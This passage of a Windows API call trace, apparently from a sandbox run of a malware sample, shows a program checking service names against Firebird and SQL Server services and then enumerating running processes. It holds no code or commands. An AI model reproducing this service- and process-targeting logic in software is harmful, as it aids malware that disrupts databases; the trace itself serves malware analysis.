(lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0163.532] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0163.532] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0163.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0163.532] lstrlenW (lpString="LanmanServer") returned 12 [0163.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0163.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0163.532] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0163.532] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0163.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0163.532] lstrlenW (lpString="LanmanWorkstation") returned 17 [0163.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0163.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0163.533] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0163.533] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0163.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0163.533] lstrlenW (lpString="lfsvc") returned 5 [0163.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0163.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0163.533] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0163.533] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0163.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0163.533] lstrlenW (lpString="lmhosts") returned 7 [0163.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0163.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0163.533] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0163.533] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0163.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0163.533] lstrlenW (lpString="LSM") returned 3 [0163.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0163.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0163.533] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0163.533] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0163.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0163.533] lstrlenW (lpString="MpsSvc") returned 6 [0163.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0163.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0163.533] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0163.534] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0163.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0163.534] lstrlenW (lpString="NcbService") returned 10 [0163.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0163.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0163.534] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0163.534] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0163.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0163.534] lstrlenW (lpString="netprofm") returned 8 [0163.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0163.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0163.534] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0163.534] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0163.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0163.534] lstrlenW (lpString="NgcSvc") returned 6 [0163.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0163.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0163.534] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0163.534] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0163.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0163.534] lstrlenW (lpString="NlaSvc") returned 6 [0163.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0163.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0163.534] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0163.534] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0163.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0163.534] lstrlenW (lpString="nsi") returned 3 [0163.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0163.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0163.535] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0163.535] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0163.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0163.535] lstrlenW (lpString="PcaSvc") returned 6 [0163.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0163.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0163.535] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0163.535] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0163.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0163.535] lstrlenW (lpString="PlugPlay") returned 8 [0163.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0163.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0163.535] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0163.535] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0163.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0163.535] lstrlenW (lpString="Power") returned 5 [0163.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0163.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0163.535] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0163.535] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0163.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0163.535] lstrlenW (lpString="ProfSvc") returned 7 [0163.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0163.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0163.536] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0163.536] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0163.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0163.536] lstrlenW (lpString="RpcEptMapper") returned 12 [0163.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0163.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0163.536] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0163.536] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0163.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0163.536] lstrlenW (lpString="RpcSs") returned 5 [0163.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0163.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0163.536] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0163.536] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0163.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0163.536] lstrlenW (lpString="SamSs") returned 5 [0163.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0163.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0163.536] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0163.536] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0163.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0163.536] lstrlenW (lpString="Schedule") returned 8 [0163.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0163.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0163.536] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0163.536] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0163.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0163.537] lstrlenW (lpString="SecurityHealthService") returned 21 [0163.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0163.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0163.537] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0163.537] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0163.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0163.537] lstrlenW (lpString="SENS") returned 4 [0163.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0163.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0163.537] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0163.537] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0163.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0163.537] lstrlenW (lpString="ShellHWDetection") returned 16 [0163.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0163.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0163.537] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0163.537] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0163.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0163.537] lstrlenW (lpString="Spooler") returned 7 [0163.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0163.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0163.537] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0163.537] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0163.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0163.537] lstrlenW (lpString="StateRepository") returned 15 [0163.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0163.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0163.538] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0163.538] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0163.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0163.538] lstrlenW (lpString="SysMain") returned 7 [0163.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0163.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0163.538] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0163.538] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0163.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0163.538] lstrlenW (lpString="SystemEventsBroker") returned 18 [0163.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0163.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0163.538] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0163.538] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0163.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0163.538] lstrlenW (lpString="Themes") returned 6 [0163.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0163.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0163.538] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0163.538] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0163.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0163.538] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0163.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0163.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0163.538] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0163.539] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0163.539] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45a4c00 | out: hHeap=0x710000) returned 1 [0163.539] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x464 [0163.715] Process32FirstW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0163.717] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0163.718] lstrlenW (lpString="System") returned 6 [0163.718] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0163.719] lstrlenW (lpString="smss.exe") returned 8 [0163.719] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0163.720] lstrlenW (lpString="csrss.exe") returned 9 [0163.720] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0163.721] lstrlenW (lpString="wininit.exe") returned 11 [0163.721] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0163.722] lstrlenW (lpString="csrss.exe") returned 9 [0163.722] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0163.723] lstrlenW (lpString="winlogon.exe") returned 12 [0163.723] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0163.724] lstrlenW (lpString="services.exe") returned 12 [0163.724] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0163.724] lstrlenW (lpString="lsass.exe") returned 9 [0163.725] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0163.725] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0163.726] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0163.726] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0163.726] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.727] lstrlenW (lpString="svchost.exe") returned 11 [0163.728] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.728] lstrlenW (lpString="svchost.exe") returned 11 [0163.728] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0163.729] lstrlenW (lpString="dwm.exe") returned 7 [0163.729] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.730] lstrlenW (lpString="svchost.exe") returned 11 [0163.730] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.731] lstrlenW (lpString="svchost.exe") returned 11 [0163.731] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.732] lstrlenW (lpString="svchost.exe") returned 11 [0163.732] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.733] lstrlenW (lpString="svchost.exe") returned 11 [0163.733] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.734] lstrlenW (lpString="svchost.exe") returned 11 [0163.734] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.735] lstrlenW (lpString="svchost.exe") returned 11 [0163.735] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.736] lstrlenW (lpString="svchost.exe") returned 11 [0163.736] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.737] lstrlenW (lpString="svchost.exe") returned 11 [0163.737] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.738] lstrlenW (lpString="svchost.exe") returned 11 [0163.738] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.739] lstrlenW (lpString="svchost.exe") returned 11 [0163.739] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0163.740] lstrlenW (lpString="spoolsv.exe") returned 11 [0163.740] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.741] lstrlenW (lpString="svchost.exe") returned 11 [0163.741] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0163.742] lstrlenW (lpString="audiodg.exe") returned 11 [0163.742] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0163.743] lstrlenW (lpString="taskhostw.exe") returned 13 [0163.743] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0163.744] lstrlenW (lpString="sihost.exe") returned 10 [0163.744] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.745] lstrlenW (lpString="svchost.exe") returned 11 [0163.745] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0163.920] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0163.920] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0163.921] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0163.921] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0163.922] lstrlenW (lpString="Memory Compression") returned 18 [0163.922] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0163.923] lstrlenW (lpString="taskhostw.exe") returned 13 [0163.923] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0163.924] lstrlenW (lpString="msoia.exe") returned 9 [0163.924] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: 